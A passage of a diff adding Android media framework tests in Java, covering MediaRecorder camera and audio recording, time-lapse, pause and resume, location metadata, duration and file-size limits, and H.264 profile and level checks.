+                assertEquals("getMetrics() capture framerate=" + captureFrameRate, -1.0, captureFrameRate, 0.001);
+            }
+        }
+
+        mMediaRecorder.stop();
+        checkOutputExist();
+    }
+
+    @UiThreadTest
+    public void testSetCamera() throws Exception {
+        recordVideoUsingCamera(false, false);
+    }
+
+    public void testRecorderTimelapsedVideo() throws Exception {
+        recordVideoUsingCamera(true, false);
+    }
+
+    public void testRecorderPauseResume() throws Exception {
+        recordVideoUsingCamera(false, true);
+    }
+
+    public void testRecorderPauseResumeOnTimeLapse() throws Exception {
+        recordVideoUsingCamera(true, true);
+    }
+
+    private void recordVideoUsingCamera(boolean timelapse, boolean pause) throws Exception {
+        int nCamera = Camera.getNumberOfCameras();
+        int durMs = timelapse? RECORD_TIME_LAPSE_MS: RECORD_TIME_MS;
+        for (int cameraId = 0; cameraId < nCamera; cameraId++) {
+            mCamera = Camera.open(cameraId);
+            setSupportedResolution(mCamera);
+            recordVideoUsingCamera(mCamera, OUTPUT_PATH, durMs, timelapse, pause);
+            mCamera.release();
+            mCamera = null;
+            assertTrue(checkLocationInFile(OUTPUT_PATH));
+        }
+    }
+
+    private void setSupportedResolution(Camera camera) {
+        Camera.Parameters parameters = camera.getParameters();
+        List<Camera.Size> videoSizes = parameters.getSupportedVideoSizes();
+        // getSupportedVideoSizes returns null when separate video/preview size
+        // is not supported.
+        if (videoSizes == null) {
+            videoSizes = parameters.getSupportedPreviewSizes();
+        }
+        int minVideoWidth = Integer.MAX_VALUE;
+        int minVideoHeight = Integer.MAX_VALUE;
+        for (Camera.Size size : videoSizes)
+        {
+            if (size.width == VIDEO_WIDTH && size.height == VIDEO_HEIGHT) {
+                mVideoWidth = VIDEO_WIDTH;
+                mVideoHeight = VIDEO_HEIGHT;
+                return;
+            }
+            if (size.width < minVideoWidth || size.height < minVideoHeight) {
+                minVideoWidth = size.width;
+                minVideoHeight = size.height;
+            }
+        }
+        // Use minimum resolution to avoid that one frame size exceeds file size limit.
+        mVideoWidth = minVideoWidth;
+        mVideoHeight = minVideoHeight;
+    }
+
+    private void recordVideoUsingCamera(
+            Camera camera, String fileName, int durMs, boolean timelapse, boolean pause)
+        throws Exception {
+        // FIXME:
+        // We should add some test case to use Camera.Parameters.getPreviewFpsRange()
+        // to get the supported video frame rate range.
+        Camera.Parameters params = camera.getParameters();
+        int frameRate = params.getPreviewFrameRate();
+
+        camera.unlock();
+        mMediaRecorder.setCamera(camera);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
+        mMediaRecorder.setVideoFrameRate(frameRate);
+        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.setOutputFile(fileName);
+        mMediaRecorder.setLocation(LATITUDE, LONGITUDE);
+        final double captureRate = VIDEO_TIMELAPSE_CAPTURE_RATE_FPS;
+        if (timelapse) {
+            mMediaRecorder.setCaptureRate(captureRate);
+        }
+
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        if (pause) {
+            Thread.sleep(durMs / 2);
+            mMediaRecorder.pause();
+            Thread.sleep(durMs / 2);
+            mMediaRecorder.resume();
+            Thread.sleep(durMs / 2);
+        } else {
+            Thread.sleep(durMs);
+        }
+        mMediaRecorder.stop();
+        assertTrue(mOutFile.exists());
+
+        int targetDurMs = timelapse? ((int) (durMs * (captureRate / frameRate))): durMs;
+        boolean hasVideo = true;
+        boolean hasAudio = timelapse? false: true;
+        checkTracksAndDuration(targetDurMs, hasVideo, hasAudio, fileName, frameRate);
+    }
+
+    private void checkTracksAndDuration(
+            int targetMs, boolean hasVideo, boolean hasAudio, String fileName,
+            float frameRate) throws Exception {
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        retriever.setDataSource(fileName);
+        String hasVideoStr = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO);
+        String hasAudioStr = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO);
+        assertTrue(hasVideo? hasVideoStr != null : hasVideoStr == null);
+        assertTrue(hasAudio? hasAudioStr != null : hasAudioStr == null);
+        // FIXME:
+        // If we could use fixed frame rate for video recording, we could also do more accurate
+        // check on the duration.
+        String durStr = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION);
+        assertTrue(durStr != null);
+        int duration = Integer.parseInt(durStr);
+        assertTrue("duration is non-positive: dur = " + duration, duration > 0);
+        if (targetMs != 0) {
+            float toleranceMs = RECORDED_DUR_TOLERANCE_FRAMES * (1000f / frameRate);
+            assertTrue(String.format("duration is too large: dur = %d, target = %d, tolerance = %f",
+                        duration, targetMs, toleranceMs),
+                    duration <= targetMs + toleranceMs);
+        }
+
+        retriever.release();
+        retriever = null;
+    }
+
+    private boolean checkLocationInFile(String fileName) {
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        retriever.setDataSource(fileName);
+        String location = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION);
+        if (location == null) {
+            retriever.release();
+            Log.v(TAG, "No location information found in file " + fileName);
+            return false;
+        }
+
+        // parsing String location and recover the location inforamtion in floats
+        // Make sure the tolerance is very small - due to rounding errors?.
+        Log.v(TAG, "location: " + location);
+
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
+        // Get the position of the -/+ sign in location String, which indicates
+        // the beginning of the longtitude.
+        int index = location.lastIndexOf('-');
+        if (index == -1) {
+            index = location.lastIndexOf('+');
+        }
+        assertTrue("+ or - is not found", index != -1);
+        assertTrue("+ or - is only found at the beginning", index != 0);
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
+        assertTrue("Incorrect latitude: " + latitude, Math.abs(latitude - LATITUDE) <= TOLERANCE);
+        assertTrue("Incorrect longitude: " + longitude, Math.abs(longitude - LONGITUDE) <= TOLERANCE);
+        retriever.release();
+        return true;
+    }
+
+    private void checkOutputExist() {
+        assertTrue(mOutFile.exists());
+        assertTrue(mOutFile.length() > 0);
+        assertTrue(mOutFile.delete());
+    }
+
+    public void testRecorderVideo() throws Exception {
+        if (!hasCamera()) {
+            MediaUtils.skipTest("no camera");
+            return;
+        }
+        mCamera = Camera.open(0);
+        setSupportedResolution(mCamera);
+        mCamera.unlock();
+
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mMediaRecorder.setOutputFile(OUTPUT_PATH2);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
+
+        FileOutputStream fos = new FileOutputStream(OUTPUT_PATH2);
+        FileDescriptor fd = fos.getFD();
+        mMediaRecorder.setOutputFile(fd);
+        long maxFileSize = MAX_FILE_SIZE * 10;
+        recordMedia(maxFileSize, mOutFile2);
+        assertFalse(checkLocationInFile(OUTPUT_PATH2));
+        fos.close();
+    }
+
+    public void testSetOutputFile() throws Exception {
+        if (!hasCamera()) {
+            MediaUtils.skipTest("no camera");
+            return;
+        }
+
+        int width;
+        int height;
+
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setVideoSize(width, height);
+        mMediaRecorder.setOutputFile(mOutFile);
+        long maxFileSize = MAX_FILE_SIZE * 10;
+        recordMedia(maxFileSize, mOutFile);
+    }
+
+    public void testRecordingAudioInRawFormats() throws Exception {
+        int testsRun = 0;
+        if (hasAmrNb()) {
+            testsRun += testRecordAudioInRawFormat(
+                    MediaRecorder.OutputFormat.AMR_NB,
+                    MediaRecorder.AudioEncoder.AMR_NB);
+        }
+
+        if (hasAmrWb()) {
+            testsRun += testRecordAudioInRawFormat(
+                    MediaRecorder.OutputFormat.AMR_WB,
+                    MediaRecorder.AudioEncoder.AMR_WB);
+        }
+
+        if (hasAac()) {
+            testsRun += testRecordAudioInRawFormat(
+                    MediaRecorder.OutputFormat.AAC_ADTS,
+                    MediaRecorder.AudioEncoder.AAC);
+        }
+        if (testsRun == 0) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+        }
+    }
+
+    private int testRecordAudioInRawFormat(
+            int fileFormat, int codec) throws Exception {
+        if (!hasMicrophone()) {
+            return 0; // skip
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setOutputFormat(fileFormat);
+        mMediaRecorder.setOutputFile(OUTPUT_PATH);
+        mMediaRecorder.setAudioEncoder(codec);
+        recordMedia(MAX_FILE_SIZE, mOutFile);
+        return 1;
+    }
+
+    private void configureDefaultMediaRecorder() {
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setAudioChannels(AUDIO_NUM_CHANNELS);
+        mMediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setOutputFile(OUTPUT_PATH);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mMediaRecorder.setMaxFileSize(MAX_FILE_SIZE * 10);
+    }
+
+    @CddTest(requirement="5.4.1/C-1-4")
+    public void testGetActiveMicrophones() throws Exception {
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        configureDefaultMediaRecorder();
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        Thread.sleep(1000);
+        List<MicrophoneInfo> activeMicrophones = mMediaRecorder.getActiveMicrophones();
+        assertTrue(activeMicrophones.size() > 0);
+        for (MicrophoneInfo activeMicrophone : activeMicrophones) {
+            printMicrophoneInfo(activeMicrophone);
+        }
+        mMediaRecorder.stop();
+    }
+
+    private void printMicrophoneInfo(MicrophoneInfo microphone) {
+        Log.i(TAG, "deviceId:" + microphone.getDescription());
+        Log.i(TAG, "portId:" + microphone.getId());
+        Log.i(TAG, "type:" + microphone.getType());
+        Log.i(TAG, "address:" + microphone.getAddress());
+        Log.i(TAG, "deviceLocation:" + microphone.getLocation());
+        Log.i(TAG, "deviceGroup:" + microphone.getGroup()
+            + " index:" + microphone.getIndexInTheGroup());
+        MicrophoneInfo.Coordinate3F position = microphone.getPosition();
+        Log.i(TAG, "position:" + position.x + "," + position.y + "," + position.z);
+        MicrophoneInfo.Coordinate3F orientation = microphone.getOrientation();
+        Log.i(TAG, "orientation:" + orientation.x + "," + orientation.y + "," + orientation.z);
+        Log.i(TAG, "frequencyResponse:" + microphone.getFrequencyResponse());
+        Log.i(TAG, "channelMapping:" + microphone.getChannelMapping());
+        Log.i(TAG, "sensitivity:" + microphone.getSensitivity());
+        Log.i(TAG, "max spl:" + microphone.getMaxSpl());
+        Log.i(TAG, "min spl:" + microphone.getMinSpl());
+        Log.i(TAG, "directionality:" + microphone.getDirectionality());
+        Log.i(TAG, "******");
+    }
+
+    public void testRecordAudioFromAudioSourceUnprocessed() throws Exception {
+        if (!hasMicrophone() || !hasAmrNb()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.UNPROCESSED);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mMediaRecorder.setOutputFile(OUTPUT_PATH);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
+        recordMedia(MAX_FILE_SIZE, mOutFile);
+    }
+
+    public void testGetAudioSourceMax() throws Exception {
+        final int max = MediaRecorder.getAudioSourceMax();
+        assertTrue(MediaRecorder.AudioSource.DEFAULT <= max);
+        assertTrue(MediaRecorder.AudioSource.MIC <= max);
+        assertTrue(MediaRecorder.AudioSource.CAMCORDER <= max);
+        assertTrue(MediaRecorder.AudioSource.VOICE_CALL <= max);
+        assertTrue(MediaRecorder.AudioSource.VOICE_COMMUNICATION <= max);
+        assertTrue(MediaRecorder.AudioSource.VOICE_DOWNLINK <= max);
+        assertTrue(MediaRecorder.AudioSource.VOICE_RECOGNITION <= max);
+        assertTrue(MediaRecorder.AudioSource.VOICE_UPLINK <= max);
+        assertTrue(MediaRecorder.AudioSource.UNPROCESSED <= max);
+        assertTrue(MediaRecorder.AudioSource.VOICE_PERFORMANCE <= max);
+    }
+
+    public void testRecorderAudio() throws Exception {
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        assertEquals(0, mMediaRecorder.getMaxAmplitude());
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setOutputFile(OUTPUT_PATH);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mMediaRecorder.setAudioChannels(AUDIO_NUM_CHANNELS);
+        mMediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
+        mMediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
+        recordMedia(MAX_FILE_SIZE, mOutFile);
+    }
+
+    public void testOnInfoListener() throws Exception {
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setMaxDuration(MAX_DURATION_MSEC);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        Thread.sleep(RECORD_TIME_MS);
+        assertTrue(mOnInfoCalled);
+    }
+
+    public void testSetMaxDuration() throws Exception {
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        testSetMaxDuration(RECORD_TIME_LONG_MS, RECORDED_DUR_TOLERANCE_MS);
+    }
+
+    private void testSetMaxDuration(long durationMs, long toleranceMs) throws Exception {
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setMaxDuration((int)durationMs);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        long startTimeMs = System.currentTimeMillis();
+        if (!mMaxDurationCond.block(durationMs + toleranceMs)) {
+            fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_DURATION_REACHED");
+        }
+        long endTimeMs = System.currentTimeMillis();
+        long actualDurationMs = endTimeMs - startTimeMs;
+        mMediaRecorder.stop();
+        checkRecordedTime(durationMs, actualDurationMs, toleranceMs);
+    }
+
+    private void checkRecordedTime(long expectedMs, long actualMs, long tolerance) {
+        assertEquals(expectedMs, actualMs, tolerance);
+        long actualFileDurationMs = getRecordedFileDurationMs(OUTPUT_PATH);
+        assertEquals(actualFileDurationMs, actualMs, tolerance);
+    }
+
+    private int getRecordedFileDurationMs(final String fileName) {
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        retriever.setDataSource(fileName);
+        String durationStr = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION);
+        assertNotNull(durationStr);
+        return Integer.parseInt(durationStr);
+    }
+
+    public void testSetMaxFileSize() throws Exception {
+        testSetMaxFileSize(512 * 1024, 50 * 1024);
+    }
+
+    private void testSetMaxFileSize(
+            long fileSize, long tolerance) throws Exception {
+        if (!hasMicrophone() || !hasCamera() || !hasAmrNb() || !hasH264()) {
+            MediaUtils.skipTest("no microphone, camera, or codecs");
+            return;
+        }
+        mCamera = Camera.open(0);
+        setSupportedResolution(mCamera);
+        mCamera.unlock();
+
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mMediaRecorder.setVideoSize(mVideoWidth, mVideoHeight);
+        mMediaRecorder.setVideoEncodingBitRate(256000);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.setMaxFileSize(fileSize);
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+
+        // Recording a scene with moving objects would greatly help reduce
+        // the time for waiting.
+        if (!mMaxFileSizeCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
+            fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED");
+        }
+        mMediaRecorder.stop();
+        checkOutputFileSize(OUTPUT_PATH, fileSize, tolerance);
+    }
+
+    /**
+     * Returns the first codec capable of encoding the specified MIME type, or null if no
+     * match was found.
+     */
+    private static CodecCapabilities getCapsForPreferredCodecForMediaType(String mimeType) {
+        // FIXME: select codecs based on the complete use-case, not just the mime
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (!info.isEncoder()) {
+                continue;
+            }
+
+            String[] types = info.getSupportedTypes();
+            for (int j = 0; j < types.length; j++) {
+                if (types[j].equalsIgnoreCase(mimeType)) {
+                    return info.getCapabilitiesForType(mimeType);
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Generates a frame of data using GL commands.
+     */
+    private void generateSurfaceFrame(int frameIndex, int width, int height) {
+        frameIndex %= 8;
+
+        int startX, startY;
+        if (frameIndex < 4) {
+            // (0,0) is bottom-left in GL
+            startX = frameIndex * (width / 4);
+            startY = height / 2;
+        } else {
+            startX = (7 - frameIndex) * (width / 4);
+            startY = 0;
+        }
+
+        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glClearColor(TEST_R0 / 255.0f, TEST_G0 / 255.0f, TEST_B0 / 255.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glScissor(startX, startY, width / 4, height / 2);
+        GLES20.glClearColor(TEST_R1 / 255.0f, TEST_G1 / 255.0f, TEST_B1 / 255.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+    }
+
+    /**
+     * Generates the presentation time for frame N, in microseconds.
+     */
+    private static long computePresentationTime(
+            long startTimeOffset, int frameIndex, int frameRate) {
+        return startTimeOffset + frameIndex * 1000000 / frameRate;
+    }
+
+    private int testLevel(String mediaType, int width, int height, int framerate, int bitrate,
+            int profile, int requestedLevel, int... expectedLevels) throws Exception {
+        CodecCapabilities cap = getCapsForPreferredCodecForMediaType(mediaType);
+        if (cap == null) { // not supported
+            return 0;
+        }
+        MediaCodecInfo.VideoCapabilities vCap = cap.getVideoCapabilities();
+        if (!vCap.areSizeAndRateSupported(width, height, framerate)
+            || !vCap.getBitrateRange().contains(bitrate * 1000)) {
+            Log.i(TAG, "Skip the test");
+            return 0;
+        }
+
+        Surface surface = MediaCodec.createPersistentInputSurface();
+        if (surface == null) {
+            return 0;
+        }
+        InputSurface encSurface = new InputSurface(surface);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+        mMediaRecorder.setInputSurface(encSurface.getSurface());
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mMediaRecorder.setOutputFile(mOutFile);
+
+        try {
+            mMediaRecorder.setVideoEncodingProfileLevel(-1, requestedLevel);
+            fail("Expect IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // Expect exception.
+        }
+        try {
+            mMediaRecorder.setVideoEncodingProfileLevel(profile, -1);
+            fail("Expect IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // Expect exception.
+        }
+
+        mMediaRecorder.setVideoEncodingProfileLevel(profile, requestedLevel);
+        mMediaRecorder.setVideoSize(width, height);
+        mMediaRecorder.setVideoEncodingBitRate(bitrate * 1000);
+        mMediaRecorder.setVideoFrameRate(framerate);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.prepare();
+        encSurface.updateSize(width, height);
+        mMediaRecorder.start();
+
+
+        long startNsec = System.nanoTime();
+        long startTimeOffset =  3000 / framerate;
+        for (int i = 0; i < NUM_FRAMES; i++) {
+            encSurface.makeCurrent();
+            generateSurfaceFrame(i, width, height);
+            long time = startNsec +
+                    computePresentationTime(startTimeOffset, i, framerate) * 1000;
+            encSurface.setPresentationTime(time);
+            encSurface.swapBuffers();
+        }
+
+        mMediaRecorder.stop();
+
+        assertTrue(mOutFile.exists());
+        assertTrue(mOutFile.length() > 0);
+
+        // Verify the recorded file profile/level,
+        MediaExtractor ex = new MediaExtractor();
+        ex.setDataSource(OUTPUT_PATH);
+        for (int i = 0; i < ex.getTrackCount(); i++) {
+            MediaFormat format = ex.getTrackFormat(i);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            if (mime.startsWith("video/")) {
+                int finalProfile = format.getInteger(MediaFormat.KEY_PROFILE);
+                if (!(finalProfile == profile ||
+                        (mediaType.equals(AVC)
+                                && profile == AVCProfileBaseline
+                                && finalProfile == AVCProfileConstrainedBaseline) ||
+                        (mediaType.equals(AVC)
+                                && profile == AVCProfileHigh
+                                && finalProfile == AVCProfileConstrainedHigh))) {
+                    fail("Incorrect profile: " + finalProfile + " Expected: " + profile);
+                }
+                int finalLevel = format.getInteger(MediaFormat.KEY_LEVEL);
+                boolean match = false;
+                String expectLvls = new String();
+                for (int level : expectedLevels) {
+                    expectLvls += level;
+                    if (finalLevel == level) {
+                        match = true;
+                        break;
+                    }
+                }
+                if (!match) {
+                    fail("Incorrect Level: " + finalLevel + " Expected: " + expectLvls);
+                }
+            }
+        }
+        mOutFile.delete();
+        if (encSurface != null) {
+            encSurface.release();
+            encSurface = null;
+        }
+        return 1;
+    }
+
+    public void testProfileAvcBaselineLevel1() throws Exception {
+        int testsRun = 0;
+        int profile = AVCProfileBaseline;
+
+        if (!hasH264()) {
+            MediaUtils.skipTest("no Avc codecs");
+            return;
+        }
+
+        /*              W    H   fps kbps  profile  request level   expected levels */
+        testsRun += testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1, AVCLevel1);
+        // Enable them when vendor fixes the failure
+        //testLevel(AVC, 178, 144, 15, 64,   profile,  AVCLevel1, AVCLevel11);
+        //testLevel(AVC, 178, 146, 15, 64,   profile,  AVCLevel1, AVCLevel11);
+        //testLevel(AVC, 176, 144, 16, 64,   profile,  AVCLevel1, AVCLevel11);
+        //testLevel(AVC, 176, 144, 15, 65,   profile,  AVCLevel1, AVCLevel1b);
+        testsRun += testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1b, AVCLevel1, AVCLevel1b);
+        // testLevel(AVC, 176, 144, 15, 65,   profile,  AVCLevel2, AVCLevel1b,
+        //        AVCLevel11, AVCLevel12, AVCLevel13, AVCLevel2);
+        if (testsRun == 0) {
+            MediaUtils.skipTest("VideoCapabilities or surface not found");
+        }
+    }
+
+
+    public void testRecordExceedFileSizeLimit() throws Exception {
+        if (!hasMicrophone() || !hasCamera() || !hasAmrNb() || !hasH264()) {
+            MediaUtils.skipTest("no microphone, camera, or codecs");
+            return;
+        }
+        long fileSize = 128 * 1024;
+        long tolerance = 50 * 1024;
+        int width;
+        int height;
+        List<String> recordFileList = new ArrayList<String>();
+        mFileIndex = 0;
+
+        // Override the handler in setup for test.
+        mMediaRecorder.setOnInfoListener(new OnInfoListener() {
+            public void onInfo(MediaRecorder mr, int what, int extra) {
+                mOnInfoCalled = true;
+                if (what ==
+                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_DURATION_REACHED) {
+                    Log.v(TAG, "max duration reached");
+                    mMaxDurationCond.open();
+                } else if (what ==
+                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
+                    if (!mExpectMaxFileCond) {
+                        fail("Do not expect MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED");
+                    } else {
+                        Log.v(TAG, "max file size reached");
+                        mMaxFileSizeCond.open();
+                    }
+                } else if (what ==
+                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_APPROACHING) {
+                    Log.v(TAG, "max file size is approaching");
+                    mMaxFileSizeApproachingCond.open();
+
+                    // Test passing a read-only FileDescriptor and expect IOException.
+                    if (mFileIndex == 1) {
+                        RandomAccessFile file = null;
+                        try {
+                            String path = OUTPUT_PATH + '0';
+                            file = new RandomAccessFile(path, "r");
+                            mMediaRecorder.setNextOutputFile(file.getFD());
+                            fail("Expect IOException.");
+                        } catch (IOException e) {
+                            // Expected.
+                        } finally {
+                            try {
+                                file.close();
+                            } catch (IOException e) {
+                                fail("Fail to close file");
+                            }
+                        }
+                    }
+
+                    // Test passing a read-only FileDescriptor and expect IOException.
+                    if (mFileIndex == 2) {
+                        ParcelFileDescriptor out = null;
+                        String path = null;
+                        try {
+                            path = OUTPUT_PATH + '0';
+                            out = ParcelFileDescriptor.open(new File(path),
+                                    ParcelFileDescriptor.MODE_READ_ONLY | ParcelFileDescriptor.MODE_CREATE);
+                            mMediaRecorder.setNextOutputFile(out.getFileDescriptor());
+                            fail("Expect IOException.");
+                        } catch (IOException e) {
+                            // Expected.
+                        } finally {
+                            try {
+                                out.close();
+                            } catch (IOException e) {
+                                fail("Fail to close file");
+                            }
+                        }
+                    }
+
+                    // Test passing a write-only FileDescriptor and expect NO IOException.
+                    if (mFileIndex == 3) {
+                        try {
+                            ParcelFileDescriptor out = null;
+                            String path = OUTPUT_PATH + mFileIndex;
+                            out = ParcelFileDescriptor.open(new File(path),
+                                    ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
+                            mMediaRecorder.setNextOutputFile(out.getFileDescriptor());
+                            out.close();
+                            recordFileList.add(path);
+                            mFileIndex++;
+                        } catch (IOException e) {
+                            fail("Fail to set next output file error: " + e);
+                        }
+                    } else if (mFileIndex < 6) {
+                        try {
+                            String path = OUTPUT_PATH + mFileIndex;
+                            File nextFile = new File(path);
+                            mMediaRecorder.setNextOutputFile(nextFile);
+                            recordFileList.add(path);
+                            mFileIndex++;
+                        } catch (IOException e) {
+                            fail("Fail to set next output file error: " + e);
+                        }
+                    }
+                } else if (what ==
+                    MediaRecorder.MEDIA_RECORDER_INFO_NEXT_OUTPUT_FILE_STARTED) {
+                    Log.v(TAG, "Next output file started");
+                    mNextOutputFileStartedCond.open();
+                }
+            }
+        });
+        mExpectMaxFileCond = false;
+        mMediaRecorder.setOutputFile(OUTPUT_PATH + mFileIndex);
+        recordFileList.add(OUTPUT_PATH + mFileIndex);
+        mFileIndex++;
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setVideoSize(width, height);
+        mMediaRecorder.setVideoEncodingBitRate(256000);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.setMaxFileSize(fileSize);
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+
+        // Record total 5 files including previous one.
+        int fileCount = 0;
+        while (fileCount < 5) {
+            if (!mMaxFileSizeApproachingCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
+                fail("timed out waiting for MEDIA_RECORDER_INFO_MAX_FILESIZE_APPROACHING");
+            }
+            if (!mNextOutputFileStartedCond.block(MAX_FILE_SIZE_TIMEOUT_MS)) {
